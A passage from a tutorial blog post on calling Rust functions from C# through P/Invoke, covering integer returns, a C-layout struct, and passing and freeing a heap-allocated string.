Next add the following private instance variable Program class:

[DllImport("our_rust.dll")]
private static extern Int32 add_numbers(Int32 number1, Int32 number2);

This allows us to declare that we're importing an external function, named add_numbers, it's signature, and where we're importing it from. You may know that c# normally treats the int as a 32 bit signed integer, however, when dealing with foreign functions, it is MUCH safer to be explicit in exactly what data type you're expecting on both ends, so we declared, explicitly, that we're expecting a 32 bit signed integer returned, and that the inputs should be 32 bit signed integers.

Now, lets, call the function. Add the following code into main:

static void Main(string[] args)
{
    var addedNumbers = add_numbers(10, 5);
    Console.WriteLine(addedNumbers);
    Console.ReadLine();
}

You should see the following output:

Hello from rust!
15

Note!: If you see a System.BadImageFormatException When you try and run the above code, you (probably) have a mismatch in the build targets for our rust dll, and our c# application. C# and visual studio build for x86 by default, and rust-init will install a 64 bit compiler by default for a 64 bit architecture. You can build a 64 bit version of our c# application by following the steps outlined here

Returning a simple struct

Ok, awesome, we now know how to return basic values. But how about a struct? We will start with a basic struct that requires no memory allocation. First, lets define our struct, and a method that returns an instance of it in lib.rs by adding the following code:

#[repr(C)]
pub struct SampleStruct {    
    pub field_one: i16,
    pub field_two: i32,
}

#[no_mangle]
pub extern fn get_simple_struct() -> SampleStruct {
    SampleStruct {
        field_one: 1,
        field_two: 2
    }
}

Now we need to define the corresponding struct in c# that matches the rust struct, import the new function, and call it! Add the following into our program.cs file:

Edit: As Kalyanov Dmitry pointed out, I missed adding a Struct Layout annotation. This annotation ensures that the C# compiler won't rearrange our struct and break our return values

namespace rust_dll_poc
{
    [StructLayout(LayoutKind.Sequential)]
    public struct SampleStruct
    {
        public Int16 field_one;
        public Int32 field_two;
    }

    class Program
    {
        [DllImport("our_rust.dll")]
        private static extern SampleStruct get_simple_struct();
        ...

and then we call it inside of Main:

static void Main(string[] args)
{
    var simple_struct = get_simple_struct();
    Console.WriteLine(simple_struct.field_one);
    Console.WriteLine(simple_struct.field_two);
    ....

You should see the following output (you remembered to move your updated DLL into the project directory, right?)

1
2

What about Strings?

Strings are, in my opinion, the most subtly complicated thing in programming. This is doubly true when working between two different languages, and even MORE true when dealing with an interface between managed and unmanaged code. Our strategy will be to store static string onto the heap and return a char *in a struct to the memory address. We will store this address in a static variable in rust to make deallocation easier. We will also define a function free_string which, when called by c#, will signal to rust that we're done with the string, and it is OK to deallocate that memory. It's worth noting here that this is VERY oversimplified and most definitely NOT thread safe. How this should 'actually' be implemented is highly dependent on the code you're writing.

Lets first add a using statement to the required standard libraries:

//external crates
use std::os::raw::c_char;
use std::ffi::CString;

Next we're going to create a mutable static variable which will hold the address of the string we're putting onto the heap:

static mut STRING_POINTER: *mut c_char = 0 as *mut c_char;

It's important to know that anytime we access this static variable, we will have the mark the block as unsafe. More information on why can be found here.

Next we're going to edit our struct to have a c_char field:

#[repr(C)]
pub struct SampleStruct {    
    pub field_one: i16,
    pub field_two: i32,
    pub string_field: *mut c_char,
}

Now, lets create two helper methods, one that stores strings onto the heap and transfers ownership (private) and one that frees that memory (public). Information on these methods, and REALLY important safety considerations can be found here

fn store_string_on_heap(string_to_store: &'static str) -> *mut c_char {
    //create a new raw pointer
    let pntr = CString::new(string_to_store).unwrap().into_raw();
    //store it in our static variable (REQUIRES UNSAFE)
    unsafe {
        STRING_POINTER = pntr;
    }
    //return the c_char
    return pntr;
}

#[no_mangle]
pub extern fn free_string() {
    unsafe {
        let _ = CString::from_raw(STRING_POINTER);
        STRING_POINTER = 0 as *mut c_char;
    }
}

Now, lets update get_simple_struct to include our code:

#[no_mangle]
pub extern fn get_simple_struct() -> SampleStruct {
    let test_string: &'static str = "Hi, I'm a string in rust";
    SampleStruct {
        field_one: 1,
        field_two: 2,
        string_field: store_string_on_heap(test_string),
    }
}

Awesome! Our rust code is all ready! Lets edit our C# struct next. We will need to use the IntPtr type for our string field. We're supposed to be able to use the 'MarshalAs' data attributes to automatically turn this field into a string, but I have not been able to make it work.

[StructLayout(LayoutKind.Sequential)]
public struct SampleStruct
{
    public Int16 field_one;
    public Int32 field_two;
    public IntPtr string_field;
}

and if we add the following line into main below the other Console.WriteLines, we should be able to see our text:

Console.WriteLine(Marshal.PtrToStringAnsi(simple_struct.string_field));

finally, we need to tell rust that it's OK to deallocate that memory, so we need to import the free_string method just like we did with the other methods and call it `free_string();

The output should like this this:

1 2 Hi, I'm a string in rust

I hope all of this was useful to you! The complete c# can be found here and the complete rust code can be found here. Good luck, and happy coding!